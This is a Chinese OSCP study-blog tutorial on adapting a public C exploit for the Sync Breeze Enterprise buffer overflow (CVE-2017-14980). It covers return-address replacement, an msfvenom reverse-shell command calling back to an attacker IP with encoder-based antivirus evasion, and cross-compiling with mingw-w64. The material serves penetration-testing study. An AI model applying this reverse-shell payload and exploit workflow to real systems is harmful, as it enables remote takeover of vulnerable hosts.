❽⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 分析漏洞利用脚本(.c){下}

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

信息收集 ➢ 修改漏洞利用脚本 ➢ 分析漏洞利用脚本(.c)🔥🔥🔥

▶ 漏洞检测

▶ 初始立足点

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.修改缓冲区溢出利用脚本实战

[1.1 分析并修改漏洞利用脚本](#1.1 分析并修改漏洞利用脚本)

[1.1.4 分析并修改C语言漏洞利用代码 (42341.c)](#1.1.4 分析并修改C语言漏洞利用代码 (42341.c))

[1.1.4.3 返回地址替换](#1.1.4.3 返回地址替换)

1.再次验证msvbvm60.dll不存在

2.寻找可用的替代返回地址

3.如果没有可用的返回地址怎么办?

[1.1.4.4 自定义创建有效的Shellcode](#1.1.4.4 自定义创建有效的Shellcode)

1.分析现有shellcode

2.使用MSFVenom生成反向Shell

[1.1.4.5 修改42341.c漏洞利用代码](#1.1.4.5 修改42341.c漏洞利用代码)

[1.1.5 编译修改后的42341.c漏洞利用代码](#1.1.5 编译修改后的42341.c漏洞利用代码)

[1.1.5.1 安装交叉编译器](#1.1.5.1 安装交叉编译器)

[1.1.5.2 把.c文件编译为.exe可执行文件(出错)](#1.1.5.2 把.c文件编译为.exe可执行文件(出错))

[1.1.5.3 把.c文件编译为.exe可执行文件(成功)](#1.1.5.3 把.c文件编译为.exe可执行文件(成功))

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.修改缓冲区溢出利用脚本实战

本例以Sync Breeze Enterprise**(这是一个文件管理同步软件)** 为目标,对其漏洞利用分析与修改,并最终利用,漏洞编号:CVE-2017-14980

1.1 分析并修改漏洞利用脚本

我们在kali中查找 Sync Breeze Enterprise 10.0.28 有关的漏洞利用脚本,然后聚焦于两个可用漏洞之一,这将为我们提供适用于目标环境的漏洞利用代码,并展示后续的修改过程。


1.1.4 分析并修改C语言漏洞利用代码 (42341.c)

接前文,继续对42341.c进行修改。本文主要修改的是返回地址,并自定义shellcode。

1.1.4.3 返回地址替换
  • 核心问题 :42341.c 代码使用的返回地址指向 msvbvm60.dll,但目标系统未加载此模块,因此 需要在目标系统上重新寻找有效跳转地址(返回地址)

  • 目标程序加载的++DLL++ 中查找JMP ESP 等指令地址。这相当于现场测量锁芯,重新设计钥匙齿形

1.再次验证msvbvm60.dll不存在
  • 启动目标服务:在Windows 10客户端上运行 Sync Breeze 服务

  • 附加调试器 :以管理员身份启动 Immunity Debugger (逆行分析工具),点击文件 >附加,附加到 syncbrs 进程。

  • 检查加载模块 :一旦附加,我们将点击"视图"菜单,然后选择"可执行模块"。从那里,通过检查名称和路径值来验证 msvbvm60.dll 确实缺失。

关键发现 :目标环境与漏洞利用的预设环境不匹配,必须调整。

2.寻找可用的替代返回地址

高效策略:这让我们回想到上一节谈及的42928.py中的漏洞利用。

  • 该 Python 漏洞利用已被标记为有效(EDB验证)

  • 其中包含的返回地址 \x83\x0c\x09\x10 已在实际攻击中被证明可用

  • 因此,拿着这个返回地址替换当下的msvbvm60.dll的返回地址

替换后如下:

3.如果没有可用的返回地址怎么办?

当没有现成可用的返回地址时,有以下三种策略可选:

① 本地重建环境调试(最推荐)

做法 :在可控环境完整复现目标系统(相同OS版本、软件版本、补丁级别),然后使用调试工具(如gdb、OllyDbg等)来运行程序并找到适合的返回地址。

通过调试器,可以查看内存布局,找到函数调用时的返回地址,然后通过它来执行你的攻击。

优点 缺点
准确可靠,针对性强 耗时耗资源,需要调试技能
可绕过ASLR等保护机制 搭建环境可能复杂
能精细调整适应特定情况

比喻 :像法医现场重建------完全还原犯罪现场,逐项排查线索。

② 借鉴公开漏洞信息(本案例采用)

做法:搜索已验证的同软件版本漏洞利用,直接提取其中的返回地址。

优点 缺点
快速高效,省时省力 可能因系统差异失效
地址已通过实际验证 无法应对ASLR等缓解措施
适合应急或初步测试

比喻 :像使用现成配方------别人已验证有效的药方,直接拿来用。

③ 从目标机器直接提取

做法:在已获得目标机器访问权限后,提取关键DLL/EXE文件进行静态分析,寻找跳转指令。

优点 缺点
高度精准,完全匹配目标 需要先期访问权限
可分析目标实际保护状态 需反汇编分析技能
能定位非ASLR模块 可能引起目标警觉

比喻 :像现场取证------直接从目标身上获取关键证据。

⚠️ 关键挑战:ASLR(地址空间布局随机化)

策略 ASLR应对方案
本地调试 寻找非ASLR模块中的固定地址
公开信息 依赖他人已找到的非ASLR地址
目标提取 直接分析目标文件的ASLR状态

核心原则 :优先使用未启用ASLR的模块(如部分第三方DLL、应用程序主模块)中的地址,确保地址稳定性。


1.1.4.4 自定义创建有效的Shellcode
1.分析现有shellcode

在继续分析这个C语言漏洞利用代码时,会注意到shellcode变量似乎保存了payload。由于它以十六进制字节 的形式存储,无法轻易确定其实际用途。代码给出的唯一备注是shellcode变量中在payload之前添加了NOP滑动。如下:

当分析现有漏洞利用代码时,常会遇到无法直接识别用途的Shellcode 。为确保攻击成功,需要自主生成定制化Payload(Shellcode)

2.使用MSFVenom生成反向Shell

**msfvenom:**这是Metasploit中用来生成payload的工具。

bash 复制代码
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 \
           EXITFUNC=thread -f c -e x86/shikata_ga_nai \
           -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

参数解析表:

参数 含义 作用
-p windows/shell_reverse_tcp Payload类型:Windows反向TCP Shell 在目标机上建立到攻击者的反向连接
LHOST=192.168.50.4 监听主机:攻击者IP地址 指定Shell回连的目标
LPORT=443 监听端口:443(HTTPS端口) 使用常见端口规避防火墙检测
EXITFUNC=thread 退出方式 : 在payload执行结束后,将使用线程退出 稳定退出,避免程序崩溃
-f c 输出格式:C语言数组格式 便于嵌入C漏洞利用代码
-e x86/shikata_ga_nai 编码器:指定使用Shikata Ga Nai编码器。这是x86平台使用的编码器 多态编码,用于混淆生成的payload,使其更难以被防病毒软件检测到
-b "\x00\x0a\x0d..." **坏字符列表,**指定了禁止的字节 过滤特定字节,生成的payload会避免包含这些字节,防止Payload被破坏

🛡️ 编码器的作用:Shikata Ga Nai

  1. 多态变形 :每次生成不同字节序列,相同Payload不同"面貌"

  2. 规避检测:绕过基于特征码的杀毒软件

  3. 坏字符规避:自动避免包含指定坏字符

比喻: 如同给Payload穿上**"变形迷彩服"**:

  • 每次生成时随机变换外观(躲避特征检测)

  • 核心功能保持不变(仍然是反向Shell)

  • 自动避开危险区域(过滤坏字符)

坏字符的危害:

字符 十六进制 危害原因
空字节 \x00 C字符串终止符,会截断Payload
换行符 \x0a HTTP/协议分隔符,破坏数据传输
回车符 \x0d 同上,影响协议完整性
百分号 \x25 URL编码字符,可能被误解析
和符号 \x26 HTTP参数分隔符(&)
加号 \x2b URL中空格编码(+)
等号 \x3d HTTP参数赋值符(=)

实际影响:

想象在水流管道 中传递Payload:坏字符就像是管道中的障碍物------空字节会直接"切断水流",特殊字符会"改变水流方向",导致Payload无法完整到达目标执行点。


1.1.4.5 修改42341.c漏洞利用代码

根据上述的所有,将这些替换到42341.c中。完成上述更改后,以下红色字体部分是修改的套接字信息、返回地址指令和payload。如下所示:


1.1.5 编译修改后的42341.c漏洞利用代码

🔧 为什么需要交叉编译?

场景限制 :渗透测试中,通常使用Kali Linux作为攻击平台 ,但目标系统往往是Windows环境

核心需求 :将C语言漏洞利用代码编译为Windows可执行文件(.exe),以便在目标系统直接运行。

解决方案 :可以尝试在Windows上编译该程序,也可以在kali上使用 mingw-w64 交叉编译器,在Linux环境下生成Windows程序。

1.1.5.1 安装交叉编译器
bash 复制代码
# Kali Linux中安装mingw-w64
sudo apt update
sudo apt install mingw-w64

编译器组件

  • i686-w64-mingw32-gcc:32位Windows程序编译器

  • x86_64-w64-mingw32-gcc:64位Windows程序编译器


1.1.5.2 把.c文件编译为.exe可执行文件(出错)

安装后,可以在本地kali中使用mingw-w64交叉编译器把.c文件编译为Windows Portable Executable (PE)文件(.exe文件)。

bash 复制代码
# 将C代码编译为32位Windows可执行文件
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
参数 作用
42341.c 要编译的漏洞利用源代码文件
-o syncbreeze_exploit.exe 指定输出文件名(.exe扩展名)
i686-w64-mingw32-gcc 交叉编译器命令

编译出错了:

可能遇到的问题:

尽管命令简单,但实际编译常遇到错误

  • 缺少Windows库函数:C代码调用Windows API,需包含正确头文件

  • 链接错误 :需要指定额外的库文件(如-lws2_32用于网络功能)

  • 语法不兼容:Linux与Windows的C语言实现略有差异

典型错误示例:(上图所示)

bash 复制代码
undefined reference to `__imp_WSAStartup'
undefined reference to `__imp_htons'

对于与"WSAStartup"相关的第一个错误进行简单的搜索发现,这是在winsock.h中的一个函数。进一步的研究表明,当链接器找不到winsock库时会出现这些错误。


1.1.5.3 把.c文件编译为.exe可执行文件(成功)

解决方案: 添加必要的链接库:(添加-lws2_32选项)

bash 复制代码
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32

-lws2_32是一个编译选项,告诉编译器在Windows环境下链接ws2_32.lib库,该库提供了Windows的套接字支持(即Windows Socket API,也叫WinSock)。这个库包含了与网络通信相关的函数,允许程序通过TCP/IP或其他协议进行网络操作。

现在没有产生任何编译错误,生成.exe文件。接下来对.exe文件进行测试。

📝 编译流程总结

bash 复制代码
[Kali Linux环境]
    ↓ [安装交叉编译器]
[漏洞利用C代码] → [编译器分析] → [链接Windows库] → [生成.exe文件]
    ↓
[可在Windows直接运行的可执行文件]

由于篇幅有限,修改后的漏洞利用是否成功,下一篇文章进行测试。

欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。

相关推荐
小白勇闯网安圈7 小时前
wife_wife、题目名称-文件包含、FlatScience
javascript·python·网络安全·web·原型模式
云计算练习生19 小时前
渗透测试行业术语扫盲(第六篇)—— Web安全专用类术语
web安全·网络安全·信息安全·渗透测试术语
三七吃山漆1 天前
攻防世界——comment
android·python·web安全·网络安全·ctf
Suckerbin1 天前
2025年Solar应急响应6月赛 恶意进程与连接分析
安全·web安全·网络安全·安全威胁分析
山川绿水1 天前
bugku overflow
网络安全·pwn·安全架构
浩浩测试一下1 天前
Kerberos 资源约束性委派误配置下的 S4U2self → S4U2proxy → DCSync 提权高阶手法链
安全·web安全·网络安全·中间件·flask·系统安全·安全架构
Z_renascence1 天前
web254-web259
web安全·网络安全
躺柒1 天前
读捍卫隐私01双因素认证
信息安全·加密·隐私·隐私保护
clown_YZ1 天前
CERTUNLP 2025--部分解题记录
网络安全·ctf